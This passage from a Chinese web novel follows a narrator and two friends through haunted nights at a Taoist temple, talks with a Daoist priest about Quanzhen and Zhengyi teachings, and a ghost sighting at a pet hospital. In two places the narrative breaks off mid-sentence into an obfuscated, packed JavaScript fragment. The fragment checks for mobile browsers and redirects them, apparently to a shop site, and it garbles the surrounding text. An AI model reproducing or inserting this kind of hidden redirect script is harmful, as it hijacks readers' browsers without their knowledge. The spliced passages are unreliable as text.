“没想到素菜也能做得这么好吃!”千尘忍不住低声赞叹,竟然起身去添了第二次饭。周师傅的手艺,果然名不虚传。 饭后,并没有组织上晚课,我们在道观的前坪周围慢慢散步消食。暮色笼罩下的道观,显得格外宁静庄严,飞檐翘角在渐暗的天色中勾勒出肃穆的剪影。晚风拂过,带来山林间特有的草木清香。 回到房间,我们简单洗漱后,便准备早早休息。知南设好闹钟,叹了口气:“明天要早起上早课,不知道起不起得来。” 千尘已经躺在了上铺,声音带着些许慵懒:“既来之,则安之。早点睡吧,养足精神,明天还要干活呢。” 关了灯,她们也都不说话了,我躺在床上,总感觉有风从外面吹进来,凉嗖嗖的,但是我实在不想动,于是也只紧了紧被子蜷缩起来继续睡觉,正当我快进入睡眠状态时………… 15. 道观义工(中) 感觉窗外有冷风吹到我腿上,我当时困意席卷而来,不想起身,于是把身体蜷成一团裹紧了被子,进入了浅睡眠状态,知南带着睡意却又透着迟疑的声音,如同投入静湖的石子,轻轻响起:"你们……睡了吗?刚才……有听到什么声音吗?" 我睡得迷迷糊糊,翻了个身含糊地应了一句:"没听到啊……"心想可能是知南睡迷糊了,山里的夜晚总是有些奇奇怪怪的声响。 然而,千尘紧接着传来的一个小声回应,瞬间让我所有的睡意烟消云散:"我也听到了!" 如果只有知南一个人说,我或许还会觉得是错觉或是她在说梦话。但连素来对这些灵异之事最为淡定、甚至可以说是司空见惯的千尘都这么说,在这伸手不见五指的漆黑房间里,一股寒意瞬间从脊椎骨窜上头顶,我浑身的汗毛都炸立起来! "啪嗒!" 我几乎是弹坐起来,手指慌乱地在墙壁上摸索着,终于按下了床头灯的开关。明亮的灯光像一把利剑劈开黑暗,在墙上投下我们三人惊慌失措的影子。我紧紧抱着被子,心脏在胸腔里狂跳,声音都不自觉地发颤:"你们什么情况啊?大半夜的,别吓我……" 知南也抱着被子坐了起来,借着昏暗的灯光,我能看见她脸上还残留着惊魂未定的神色。她深吸一口气,压低声音说:"我刚开始也以为是幻听……有点像摇铃铛的声音,叮铃铃,叮铃铃的,一阵一阵的,时远时近。我屏住呼吸仔细听了好一会儿,那声音还在继续,才敢问你们的。" 千尘在上铺接口道,语气比平时凝重许多,带着一种罕见的严肃:"我听到的像是某种古老的鼓声,沉闷而有节奏,还有点像……法铃的声音,两种声音交织在一起,也是一阵一阵的,很有规律,就像……就像某种仪仗队在行进。" 我听了更加害怕,声音都不自觉地发抖,手指无意识地绞着被角:"这里……这里荒郊野外的,窗户外头就是深山老林,大半夜的,谁会……谁会弄出这些声响啊?就算是其他义工,也不可能在这个时候搞出这种动静吧?" 千尘沉吟了一下,说出一个让我和知南都心头一紧的词:"谁知道呢……可能是''夜游神''在巡逻吧,也说不好。" "夜游神?!"我和知南异口同声,这个词听起来就带着古老而神秘的气息,让我后背一阵发凉。 "我也是猜的,"千尘压低声音解释道,仿佛怕被什么听见,"但那种声音的韵律和节奏,确实很像古籍里记载的,夜游神率领仪仗,边走边敲打法器、摇动铃铛,进行夜间巡查的感觉。"她顿了顿,试图安慰我们,"不过别太害怕,在道观这种地方,听到一些特别的声音,其实……也算正常。毕竟这里灵气充沛,吸引来的不只是修行之人。" 可她越是这么说,我心底的恐惧越是像藤蔓一样疯狂蔓延。我又屏住呼吸,竖起耳朵仔细听了半晌,窗外除了偶尔掠过的山风拂过树叶的沙沙声,依旧什么特别的声音都捕捉不到。但这种"唯独我听不见"的未知,反而更加深了我的恐惧。再加上我睡在窗边,总能感觉到一阵阵莫名的冷风透过窗缝往身上吹,那寒意仿佛能穿透被子,直往骨头里钻。 我实在受不了了,带着哭腔提议,声音都在发颤:"知南……我们……我们换个位置吧?我睡你那边,挨着千尘下铺,我……我有点怕……这窗边总觉得不安全……" 知南虽然也表示听到了声音有些害怕,但看起来比我镇定一些。她看我吓得脸色发白,嘴唇都在哆嗦,便点了点头:"好吧,我们换一下。"我们不敢再继续这个令人毛骨悚然的话题,仿佛多说一个字都会招来什么不干净的东西,迅速交换了床铺,重新关灯躺下。 然而,恐惧已经像毒蛇一样缠绕住我的心脏。我躺在知南原来的床位上,毫无睡意,黑暗中每一个细微的声响都让我心惊肉跳。我只好摸出手机,企图用屏幕的光亮和无聊的社交软件信息冲淡心中的不安。手机荧荧的蓝光在黑暗中显得格外刺眼。 突然—— "啊——!" 知南发出一声短促而惊恐的尖叫,那声音里充满了极致的恐惧,猛地坐起身,再次"啪"地打开了灯!刺眼的灯光让我的眼睛一时无法适应。 我和千尘也被这突如其来的尖叫吓得弹坐起来,我的心差点跳出嗓子眼,一股寒意从脚底直冲头顶,连手机都吓得脱手甩了出去,在地上发出清脆的撞击声。 "怎么了?!"我们齐声问道,声音都变了调。 知南脸色煞白如纸,额头上沁出细密的冷汗,一下子从她的床铺跳到我这边,冰凉的手指紧紧抓住我的胳膊,声音颤抖得不成样子,语无伦次地说:"我刚……刚躺下一会儿,迷迷糊糊的,就感觉……感觉有一只冰凉的手在摸我的腿!那触感太真实了,就像……就像冰块一样,顺着我的小腿往上……" 我听完她的描述,身上刚刚平复的汗毛又一次炸立!一股寒意顺着我的脊梁骨往上爬。好了!这下彻底不用睡了! 但为了不让气氛更加诡异,我强作镇定,咽了咽口水,试图找一个合理的解释,声音却出卖了我的恐惧:"可……可能是我刚才睡那边的时候,窗户没关严,有冷风吹的吧?山里的风是挺凉的……你别怕,别怕啊……我,我去把窗户关好。"这话说出来,连我自己都觉得苍白无力。 说完,我鼓起毕生的勇气,心脏在胸腔里擂鼓般敲击着,蹑手蹑脚地跨到那个靠窗的床铺。手指颤抖着触碰到冰凉的窗帘布料,我深吸一口气,猛地将其拉开——然而,眼前的景象让我瞬间僵在原地,血液仿佛都凝固了——窗户分明关得严严实实,老式的木质窗框贴合紧密,插销都牢牢地插在锁扣里! "卧槽?!"我控制不住地惊呼一声,像被毒蛇咬到一样猛地跳回自己的床铺,一把抱住被子,身体不受控制地开始剧烈发抖。牙齿都在打颤。窗户没开!那刚才吹在我身上的刺骨冷风是哪里来的?!那个摸知南腿的"冰凉的手"又是怎么回事?!恐惧像潮水般将我淹没。 千尘看着我们两个被吓得不轻的样子,表情也彻底严肃起来,眉头紧锁。她利落地从上铺下来,走到那个靠窗的下铺,直接躺了下去,闭着眼睛,眉头微蹙,似乎在仔细感受着什么。房间里静得可怕,只能听到我们粗重的呼吸声。 几分钟后,她坐起身,看着我们,眼神复杂,语气低沉而肯定地说:"今晚你们两个挤一挤吧,别睡窗边了。"她顿了顿,目光扫过那扇紧闭的窗户,吐出三个让我们心底发寒的字,"有东西。" 说完,她不再多言,沉默地爬回了上铺,但那紧绷的背部线条显示出她并不像表面那么平静。 我心里害怕得不得了,心脏在胸腔里狂跳,仿佛下一瞬就要挣脱出来,手心全是冷汗。知南也明显被吓坏了,嘴唇失去了血色,但她的反应比我稍好一些,至少还能勉强保持站立。她把被子抱过来后,我们两个就挤在一张不算宽敞的床上,身体紧紧挨着,仿佛这样能从未此的体温中获得些许可怜的安全感。为了不影响可能已经休息的其他义工,我们还是把灯关了,黑暗再次降临,但这一次,恐惧感有增无减。 知南在我身边躺下后,一直沉默不语,身体微微发抖。我也因为过度紧张害怕,太阳穴突突直跳,没有太关注她的状况,赶紧在黑暗中摸索出手机,屏幕的光亮再次成为我的救命稻草。我颤抖着手指给墨宇发消息,语无伦次地简单说明了这里的诡异情况,问他该怎么办。本以为这么晚他早就睡了,没想到手机很快震动了一下,他回复了!他说让我心里反复默念早课中的金光咒。 我像抓住救命稻草般,立刻在心里反复默念金光咒,每一个字都念得无比虔诚。然而,就在我集中注意力念咒的时候,突然感觉到被子边缘一沉,床垫微微下陷,仿佛有什么无形的东西压了上来,就隔着一层薄薄的被子,紧挨在我和知南中间!那感觉真实得让我头皮发麻! 正当我惊疑不定,念咒的声音都在心里打颤时,一只冰凉彻骨的手猛地抓住了我的胳膊!那刺骨的寒意瞬间穿透了我的睡衣! "啊!"我吓得惊叫出声,整个人都弹了一下。 "是我!"知南的声音带着哭腔,她再次摸索着打开了灯,惨白的灯光下,她的脸色比刚才还要难看,嘴唇不住地颤抖,眼神里充满了恐惧,"刚才……刚才我身体突然不能动了!就像被什么东西死死压住!我想戳你,想叫你,可是……可是你的身体像被一层看不见的膜包裹着,我碰不到你!我费尽了全身力气,在心里拼命喊叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908328|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才挣脱那个压迫我的东西!" 听完她的描述,我彻底崩溃了,心慌得厉害,仿佛有一只手攥紧了我的心脏,手脚冰凉得像冰块。"别……别关灯了吧,"我带着哭腔哀求,声音嘶哑,"我是真的怕!千尘,你有办法吗?求你了……" 千尘的声音从上铺传来,带着无奈的疲惫和一丝不易察觉的烦躁:"可能我们真的不适合在这里吧。说不好就是它们在''赶人''呢。明天上午找机会跟薛道长说一下吧,今晚……"她叹了口气,"只能先硬扛过去了。" 听完这话,我们陷入绝望的沉默。事情闹到半夜,我又惊又困,极度的恐惧和疲惫交织在一起,眼皮疯狂打架,却因为害怕根本无法入睡,一闭眼就是各种可怕的想象。我迷迷糊糊地闭上眼睛,眼前竟突然出现一个年轻女人的身影,她面色惨白,眼神空洞,湿漉漉的长发贴在脸上,嘴唇无声地开合,像是在对我急切地诉说什么。我吓得猛地睁眼,画面消失了,但那双绝望的眼睛仿佛还印在视网膜上。可当我再次闭眼,场景变换——那个女人被两个模糊的黑影架着,粗暴地拖进了一座雾气弥漫的深山里。一阵莫名的心慌和窒息感袭来,我急切地睁开眼,不敢再看下去。我的第六感告诉我——这个女人是想让我看她被杀害抛尸的全过程! 我慌得不行,冷汗浸湿了后背的睡衣,又不敢跟知南说,她已经受到够大惊吓了,再说这个恐怕会彻底崩溃。我只能独自承受着这份惴不安,恐慌和害怕像两条毒蛇交织在一起,紧紧缠绕着我的心脏,几乎要将我吞噬。我紧紧闭着眼睛,指甲深深掐进掌心,在心里疯狂念叨,像念经一样:"我不看!我不看!我害怕!求求你放过我!" 不知念叨了多久,精神与身体的双重疲惫终于压倒了恐惧,我的意识渐渐模糊,沉沉地睡了过去。 我做了一个梦。梦里我站在一个空荡荡、无比宏伟的大殿中央,里面没有神像,四周都是朱红色高大门扉,和道观里大罗宝殿的门一模一样,只是放大了数倍,高耸到顶,带来沉重的压迫感。地板是漆黑如墨的大砖,光滑得能映出我模糊的身影,材质不明,泛着冷硬诡异的光泽。突然一个苍老、温和而充满力量的声音,不知从何处传来,一直在我耳边轻声安抚,循环往复:"不要怕,不要怕,他们不会伤害你的,不要怕……"这个声音如同暖流,缓缓驱散了我梦中的寒意,陪伴了我一整夜。 醒来时,窗外天光已微亮。意外地发现昨夜那种蚀骨的心慌感和恐惧竟然消失了,取而代之的是一种奇异的平静,但脑海里清晰地印着那个安抚我的苍老声音。转头看看身边的知南,她顶着两个浓重的黑眼圈,眼神涣散,嘴唇干裂,显然一夜未眠。 "你怎么了?"我轻声问,喉咙有些干涩,"昨晚没睡吗?" 知南一脸疲惫,声音沙哑得厉害:"完全睡不着了,一闭眼就感觉有东西,睁眼到天亮。倒是你,睡的挺快的,也睡得很沉,身体都没有动过。" 千尘也从上铺垂下头,眼下乌青严重,脸色憔悴,烦躁地揉着太阳穴:"我昨晚睡眠浅得很,感觉一直有东西在床边走来走去,骚扰我,烦死了,根本没法好好休息。" 因为要赶早课,我们强打精神,匆匆洗漱收拾后去了经堂——也就是斗姆殿。本以为昨晚的惊魂夜会让我精神不济,没想到我因睡得深沉,休息得还行,除了身体有些僵硬,精神居然尚可。 这是我第一次亲身参与道观的早课,由薛道长亲自主持。当现场的诵经声响起,低沉而富有韵律,夹杂着钟磬清越、木鱼笃定的敲击声,那庄严肃穆的韵律仿佛有种神奇的净化力量,音波如同暖流冲刷过我的身体,瞬间让我感到全身舒畅,毛孔仿佛都张开了,神清气爽。这是一种前所未有的新奇体验,现场版的震撼与在网上收听录音的感觉完全不同,那是一种直击灵魂的共鸣! 我转头看向知南和千尘,她们俩因为整夜未得好眠,此刻都显得萎靡不振,眼神呆滞,哈欠连天,站在队伍里都有些摇摇晃晃。早课结束后,我们又跟着道长练了八段锦,试图活动一下僵硬的筋骨。吃完清淡的早饭,我们三个在斋堂外对视一眼,皆从对方眼中看到了同样的决定——必须立刻去找薛道长,说明昨晚那令人不安的诡异情况,然后告辞回家…… 16. 道观义工(下) 我们三人在中庭找到了正在悠然散步的薛道长。他身边并无旁人,我们快步追上前去。薛道长听到脚步声,回头看见我们,未等我们开口便先关切地问道:“你们一个个脸色怎么如此之差?昨晚没休息好吗?” 知南率先开口,语气中还带着些许未散尽的惶恐:“薛道长,我们昨天晚上听到了一些奇怪的声音,发生了一些奇怪的事情,不知道是不是这里不太适合我们,我们是过来想告辞的。” 千尘紧接着补充道:“没错,昨天晚上我和知南都听到了类似法器和铃铛的声音,在想是不是这里的护法在驱赶我们,所以……” 薛道长闻言,仔细端详了我们三人的面色,目光在我脸上多停留了片刻,笑笑说:“看着楠木的气色倒还可以,你们两个确实眼圈黢黑,像是彻夜未眠。” 我犹豫了一下,也开口道:“我昨晚虽然并没有听见什么声音,但我一闭眼就看见了一个女生向我求救,我也很怕。不过我做梦时一直有个老爷爷的声音在安慰我,所以我睡得好一些。” 薛道长轻轻捋了捋胡须,沉吟道:“你们也别急着离开。这样吧,知南你今天有空就先去三清殿和祖师爷拜一拜,让这里的众生和护法不要吓唬你了。千尘你也不要急着离开。至于楠木,你晚上上晚课的时候,心里想着帮那个女孩子超度一下就好了,其余的不要多想。你们三个今天就先不要值殿了,等会儿忙完来茶室找我。” 知南疑惑地问:“三清殿在哪里?是大罗宝殿吗?” 薛道长恍然一笑:“你们对这里还不熟悉。三清殿在大罗宝殿的后面,还要走一截山路,到山顶便是了。” 我们三人相视一眼,都有些惊讶。我忍不住说:“没想到后面还有一个殿,我们等会有空去看看。” 薛道长点点头:“你们自行上去即可,注意安全。参拜完了来茶室找我。”说完便转身离去。 待薛道长走远,我们立刻叽叽喳喳地讨论起来。我和千尘都看向知南,毕竟昨晚她受的惊吓最大。 知南想了想说:“既然道长都这么说了,我们也不好再提离开的事情。那就先去三清殿拜一拜祖师爷再说吧。” 于是我们沿着薛道长指的方向走去。穿过大罗宝殿,果然发现一段由大理石板铺就的台阶,蜿蜒曲折地通向山林深处。 我一边走一边感叹:“上次我们来时并不知道后面还有大殿,这隐藏得可真够深的。” 正当我们拾级而上时,千尘突然轻声说:“有意思,这里的炁挺有分界线的呢。” 我疑惑地看向她:“什么意思?” 千尘回答道:“你们没发现吗?和下面的殿宇气场完全不同。” 知南接话道:“没错,一走上这条路,我就感觉神清气爽。” 千尘点头赞同:“这路上的灵气确实更加充沛浓郁。” 我们继续向上攀登,越往上走,发现大理石板逐渐变成了老旧有年代感的青石板台阶,石缝间长满了青苔,显得少有人迹。山路湿滑,我走得小心翼翼,累得气喘吁吁。正想开口问还有多远时,走在前面的知南和千尘齐声喊道:“到了,到了!楠木你快一点!” 我闻言精神一振,快步跟上。抬眼望去,只见前方几十米处,一座规模不逊于大罗宝殿的殿宇巍然矗立。它整体显得更加古朴庄严,高大的殿门上悬挂着一块匾额,上书“三清殿”三个苍劲大字。 我们快步走近,发现殿前落叶缤纷,略显寂寥,但香炉里还插着三根未燃尽的香。环顾四周,并无他人踪影。 步入殿内,三尊高大的神像赫然映入眼帘。元始天尊居中,灵宝天尊居右,道德天尊居左,各自手持法器,庄严中透着慈悲。我们相视一眼,恭敬地行三拜九叩之礼。 起身后,我们在殿内细细参观,发现两侧还供奉着许多护法神像。我虽记不清他们的名号,但都能感受到那股威武霸气、震慑邪祟的气势。 整个大殿空间极为开阔,许是观内人手不足,这里无人值守打扫,处处积着厚厚的灰尘。看着这般景象,我们心里莫名难受——明明灵气如此充沛的地方,却显得这般冷清寂寥。 我们商量着,等下见到薛道长一定要提议,下次来的时候我们过来做一次大扫除。说完准备转身下山,临走时,知南遵照薛道长的嘱咐,在拜垫上虔诚祷告了一番,这才起身离开。 下山途中,千尘不经意地念叨:“上面的灵气十足,修行的众生可不少啊。” 我默默点头。虽然我什么也看不见,但能感觉到那里既热闹又孤寂的复杂氛围。 知南因为没休息好,只附和着点了点头,并未搭话,一路都很沉默。 来到茶室,推开门。发现除了薛道长外,还有两男两女四位约莫四十多岁的中年人。薛道长热情地邀请我们一同品茶,并介绍他们是专程从东北过来探望他的皈依居士。 我们行过拱手礼后落座。薛道长为我们斟茶,让我们先稍作休息,随后便与那四人闲聊起来。 我闲来无事,悄悄打量那四人。不知为何,其中那个年长些的男子给我一种煞气很重的感觉,仿佛背负着人命。他长相是典型的北方汉子模样,高大壮实,留着络腮胡,面相颇为凶悍。那两个女性也让我感觉不太舒服,说不清具体哪里不对,但总觉得她们身上带着一股邪气。唯一看起来正常些的是那个年轻些的男子,普普通通,没什么特别的感觉。 我不明白为何初次见面就会有这样的直觉,他们明明没有得罪于我,也没产生过交集。我左右扭头看看知南和千尘,想询问下她们的意见,却见她们神色如常,只好把疑问咽了回去。 期间,其中一个女子谄媚地上前为薛道长按摩头和肩膀,一边按一边说着讨好的话。我们三人看得面面相觑,觉得有些奇怪,碍于不熟,都不好作声。 过了一会儿,薛道长说:“他们四人今日来看看我后,还有要事在身。你们在这坐会儿,我去送送他们。” 我们起身拱手告别。待他们五人离开后,我实在忍不住问道:“你们有感觉到他们的异常吗?” 千尘简洁地说:“邪性。” 知南也点头附和:“戾气很重。那女人有点刻意谄媚讨好的感觉。” 听她们也这么说,我知道这不是我个人的错觉。想着以后未必会有交集,便不再多谈。 不久,薛道长回来了。他坐下后关切地问:“去拜过三清祖师了吗?现在观里人手不足,所以那里无人值殿,只有观内一大师傅每日去上香。” 我们顺势提出:“我们去过了,感觉上面气息很舒服。下个月我们过来,想去把上面做个大扫除。” 薛道长欣慰地笑了:“你们有这份心当然好。” 这时,我想起之前的梦境,便询问道:“薛道长,我之前总梦见有人叫我起床,有人说我涌泉穴不通,还梦见一个形象像真武大帝的人教我练剑。我觉得很莫名其妙,还想着有空去武当山看看,寻求点答案。” 薛道长沉吟片刻,说:“还是莫要沉迷于这些梦境。但是说来也巧,我这道观自古以来就是真武大帝的行宫之一,你来这里也是一种缘分。” “真武行宫?”我惊讶地看着他。 “没错。”薛道长解释道,“你们刚来可能不了解。进山门第一座大殿是灵官殿,紧接着后面一座大殿便是真武殿。” 我这才回忆起第一次来时见过那个身边有两名侍童的高大威武的神像。 薛道长继续为我们讲解:“看你们对道教文化应该不太了解。我来说一说,道教分为两大派别:全真和正一。全真参考学习了佛教的戒律清规,食素、不杀生、不婚,出家即住观修行,主要讲究性命双修,以科仪为重,专门为皇室或上层人士服务。正一则除了四不吃——牛、狗、大雁、乌鱼外,可以吃肉,可以婚嫁,出家也不需要住观修行。主要以符箓、法术为主,为普通百姓服务。电影里常见的道士,多是正一门下。” 他顿了顿,接着说:“全真和正一还有些区别。全真龙门派创教后主要为皇室贵族服务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908329|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一板一眼都比较庄重,不能太随意,讲究度化一人而普度众生。想当年邱祖一言止杀,功德妙不可言。而正一始终服务于百姓,帮他们解决各种杂事,所以风格更偏民俗化,少了几分优雅。” 我听完后,心里隐隐觉得不太认同。明明是第一次听说,却总觉得这番说辞有些古怪,但又说不出所以然,只好附和着点头。 薛道长又告诫道:“凡事不要太追求神通。看到、听到,并非好事,不要过于迷信,把自己弄得神神叨叨。” 这点我倒很认同,毕竟真的容易把人搞疯。 千尘突然开口:“我自己的认知很清晰,并没有沉迷其中。这些都是我从小就有的能力,伴随我这么多年,已经成为我生活的一部分。但我并不在意,只是看到了说出来好玩而已,也不靠这个谋生。” 薛道长看了她一眼,没有接话,转而看向知南:“你脸色还是很差,回去休息休息吧。今天就先聊到这里,下午午休结束后,你们各自去岗位吧。” 我们起身告辞。回到房间,我脑海里还在回味薛道长的话。 千尘一脸无奈:“他刚才那是在点我啊。问题是我并没有拎不清,只是实话实说而已……” 我安慰道:“可能全真就是修自己,不重神通吧。你别太在意了……” 知南实在太累,躺下就不再理会我们。见她休息,我和千尘也各自回床铺午休。 这一觉我们都睡得很沉,连午饭的打板声都没听见,醒来已是下午一点多。 知南一醒来就迫不及待地说:“我做了一个很奇怪的梦!梦见我和那东北四人组擦肩而过,我就偷偷跟着他们到了一个法坛前。他们正在做法,我想着借他们的法坛再求求观内的众生不要吓唬我。刚说完的下一秒,我突然进入了一个奇怪的大殿,里面全是蹦跶的青铜器、法器和炉鼎,个个都有鼻子有眼,还长着小翅膀,围着我身边飞。我感觉好像进入了一个满是精灵的玄妙世界。在梦里我一点也不害怕,还仔细观察它们,然后我就醒了。这个梦实在太奇怪了!” 我笑着说:“可能是祖师爷应了你的请求呢!说不定今晚能睡个好觉了!” 千尘也点头附和:“好啦,这样看来是要我们继续留下来好好体验呢。” 随后我们各自去了岗位。这一天平安度过,再无异常。 晚上上晚课时,我记着薛道长的嘱咐,在心里默默为那个托梦给我的女生祈福超度。不知为何,眼泪又不自觉地流了下来。我想或许是磁场感应吧,但愿心诚则灵。无论是梦是幻,都希望她早得轮回。 当晚,我们睡得格外香甜,一夜无梦。 第三天,也是最后一天,薛道长特意安排一位师兄带我们去参观一座较远的殿宇。那座殿宇也属道观管辖,坐落在另一座山的山顶,虽然路途较远,但风景绝佳。 师兄带我们上去后便去值殿了,留我们自由活动。千尘和知南开心地四处拍照,我也觉得这里风景美不胜收,但不知为何提不起兴致。 我独自走到一旁,心绪万千。薛道长关于全真与正一的那番话又浮现在脑海。我突然明确地意识到,我确实不认同他的观点。在我看来,度化众生不该有高低贵贱之分,度一人也是度,普通百姓与王侯将相并无区别。 但转念一想,或许每个人的修行理念不同。我对宗教了解尚浅,这样的想法可能过于简单了。于是不再纠结,看着知南和千尘开心的样子,我也凑过去加入了她们。 那天上午,我们在山顶玩闹得很尽兴。中午回去用餐后,便向薛道长辞行。因为第二天我还要工作,决定下午就返程。薛道长见我们这么快就要离开,有点诧异,但还是跟我们说:“我现在还是很希望有新的血液加入传承的,也真心希望你们下次再来,这次时间匆忙,下次多住几天,欢迎你们下次再来。” 回程的车上,我们三人都在回味这三天的经历。虽然遇到了不少诡异的事情,但也感受到了道观的宁静与祥和。同时也在我心里埋下了一颗种子…… 17. 店内遇鬼 回到熟悉家里,我一身疲惫的躺在沙发上,脑海里想着在道观发生的一切,如梦似幻一般,让我的内心久久不得平静,那天阿飞回来的很晚,带着一身疲惫,我迫不及待地想与他分享这几日的离奇,话语像开了闸的洪水。他听着,偶尔“嗯”一声,眼神里却是一种温和的疏离,末了,他揉了揉我的头发,笑道:“你啊,就是想象力太丰富。累了就早点睡。” 那一刻,所有汹涌的情绪仿佛撞上了一堵柔软的墙,被无声地化解、搁置。我忽然意识到,有些体验,注定是无法共享的孤岛。 第二天踏入医院,消毒水混合着动物皮毛的气味扑面而来,这是我所熟悉的、现实世界的味道。老板阿健正清点着货架,头也没回,打趣声先至:“哟嚯,我们的小道长云游归来啦?道观里是不是仙气飘飘?” 我没好气地瞪了他一眼,心里那点想要倾诉的欲望彻底熄灭。在他坚实的唯物主义世界观面前,我那些神神鬼鬼的经历,只会是茶余饭后的笑谈,甚至……是精神不稳定的征兆。这个念头让我不寒而栗,将所有的疑惑死死按回心底。 然而,树欲静而风不止。 那是一个再普通不过的清晨,阳光透过玻璃门,在光洁的地板上投下斑驳的光影。助理小凡通常都是最早到店,精力充沛地开始准备工作。但今天,他像一尊失魂的雕像,呆呆地坐在接待区的椅子上,脸色是一种缺乏血色的苍白。 “楠木姐!” 他看见我,几乎是弹跳起来,一把抓住我的手腕,力道大得让我吃痛。他的指尖冰凉,带着潮湿的冷汗。“不好了!我昨天晚上好像……好像在店里撞鬼了!” 他的瞳孔因恐惧而微微放大,呼吸急促。我心头一紧,那种熟悉的、介于现实与虚幻之间的眩晕感又隐隐袭来。“别慌,慢慢说,到底什么情况?” 我尽量让声音保持平稳。 “昨晚我值班,在二楼给最后一只金毛拔输液针。” 他语速极快,仿佛慢一点,勇气就会流失,“我戴着耳机听摇滚乐,声音开得很大!可就在那时候,我清清楚楚地听到,一个小孩的笑声,‘咯咯咯’的,又尖又细,直接从音乐缝隙里钻到我耳朵里!” 他模仿着那笑声,声音扭曲,让我脊背窜起一股寒意。 “我当时就僵住了,一把扯掉一边耳机,屏住呼吸听——什么都没了。我以为是自己熬夜产生了幻听,心里骂了一句,继续低头拔针。可就在针头脱离狗狗皮肤的瞬间……” 他猛地吞咽了一下,喉结剧烈滚动,“那笑声又来了!这次更近!更清晰!就像……就像有个小孩趴在我背后对着我耳朵笑!” 他的描述极具画面感,我仿佛能看见空无一人的二楼诊疗室,无影灯冰冷的光线下,一个被无形恐惧攫住的年轻人。 “我吓得头皮发炸,什么都顾不上了,连滚带爬地从二楼冲下来,腿都是软的!后来我把店里所有的灯,连仓库的、厕所的,全都打开了!亮得像白天一样,我才敢坐在大厅里等到天亮!” 理智告诉我可能是幻听,但小凡那惊魂未定的状态,不像是装出来的。我没有多说,默默拿出手机,调取昨晚的监控录像。指尖划过屏幕,带着一丝自己都未察觉的微颤。 监控画面是无声的,却比任何声音都更具冲击力。画面里,小凡正低头忙碌,突然,他整个身体明显地僵直了一下,如同被瞬间冻结。他迟疑地、带着恐惧地抬起头,左右环顾,然后伸手摘下了右边的耳机,侧耳倾听。空荡的二楼,只有他一个人呆立的身影。几秒后,他似乎松了口气,重新弯腰操作。然而,就在他完成动作直起腰的刹那,他像是被什么东西猛地从背后推了一把,或者说,像是听到了什么极度恐怖的声音,整个人剧烈一抖,随即以一种近乎狼狈的姿势,头也不回地狂奔出监控范围,消失在楼梯口。 行为轨迹,与他口述分毫不差。 一股冰冷的寒意从尾椎骨升起。我迅速将这段诡异的片段录屏,手指在“千尘”和“墨宇”的聊天框上徘徊了一下。一个念头悄然滋生:不说破,不提示,看看这两个自称能“看见”的人,会给出怎样的答案。这像是一次无声的测试,测试他们,也测试我所以为的这个世界。 信息发出去后,时间变得格外漫长。每一秒都像是在被拉长。我先等来了墨宇的回复,他似乎刚醒,文字带着点慵懒:“这好像是你们店里啊?看视频,有个穿白衣服的女人站在你同事的身边呢?什么情况啊?” 我的心跳漏了一拍,想着真可能是幻觉吧,墨宇说是个女人?但是小凡明明听到的是孩子的笑声! 但是我还是回复道:“他昨天晚上听到一个小孩子的笑声了,怎么会是个女的呢?” 墨宇的回复很快修正:“是有个小孩,挺小的,在那女人身边,有点重叠了,刚只看到那个女人,他是需要我帮忙处理吗?”小凡发出疑问说:“我只想知道我和她们无冤无仇,为什么会跟着我?” 墨宇回复说:“讲不好是小凡前世太花心的一些冤孽呗。” 我将手机屏幕转向小凡,转述了墨宇的话。小凡脸上的恐惧迅速被一种被冒犯的恼怒取代:“还前世冤孽?扯淡吧!要真是前世仇人,还能等到昨天才来找我?楠木姐,这小道士满嘴跑火车,根本不靠谱!” 他之前听过我说做失败的法事,本就对墨宇那套嗤之以鼻,此刻更是厌烦到了极点。 我理解他的感受,试图缓和:“他也是想帮忙……” “不用了!简直满口胡言!他就是不靠谱!” 小凡斩钉截铁地打断,“算了!我可能就是最近太劳累幻听了!” 我无奈,回复墨宇:“你认真的?真是前世冤孽?你认真看了吗?唉,算了算了,现在别人也不信你。” 墨宇回了个打着哈欠的表情:“我还没起来呢,开个玩笑而已。不过他不信就算了,插手他人因果,挺麻烦的。” 我看着那句“开玩笑”,一阵无语,这种时候他还有心思戏谑?我回了句:“你真是张嘴就来呢,我是当真了才告诉他的。” 这时,老板阿健和同事阿青也陆续到了。听了这事,阿健反复拖动进度条,盯着监控画面,眉头紧锁:“这……看不出什么啊?小凡你是不是最近恐怖片看多了?” 阿青也附和道:“是啊,熬夜容易精神恍惚的。” 他们都试图用最合理的解释来安抚小凡,也安抚自己。店里的气氛却莫名地压抑了几分。 就在我以为这只是一个巧合与误解时,千尘的消息如同另一块投入静湖的石子,在我心里掀起了巨浪。 “这什么呀?他身边怎么跟着一个女的和一个小孩啊?” 轰隆! 像是一道无声的惊雷在脑海中炸响。一样的描述!女人,小孩! 千尘和墨宇,他们两人绝无串通的可能!这高度一致的“看见”,瞬间击碎了我用理性构筑的防线。巧合这个词,在此刻显得如此苍白无力。 我强压着内心的惊涛骇浪,把墨宇那套“前世冤孽”的玩笑说给她听。千尘立刻回道:“你和他都是个冒失鬼!他随口一说,你也信?这明显就不可能是小凡前世的冤孽啊!不符合逻辑啊,难怪人家听了生气,还有我要劝你一句,不要随意插手别人的事,知道不。” 